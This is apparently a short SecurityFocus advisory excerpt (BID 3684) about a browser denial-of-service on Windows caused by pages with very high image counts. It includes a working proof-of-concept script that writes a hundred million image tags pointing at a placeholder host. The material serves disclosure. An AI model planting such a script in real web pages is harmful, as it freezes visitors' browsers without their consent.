source: https://www.securityfocus.com/bid/3684/info An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered. An unusually high image count may cause a denial of services to users who view the webpage containing the offending image. Malicious webmasters may construct webpages which exploit this vulnerability. <script> for(i=0;i<100000000;i++) { document.write("<img src=http://fakehost.com/"+i+".gif>"); } </script>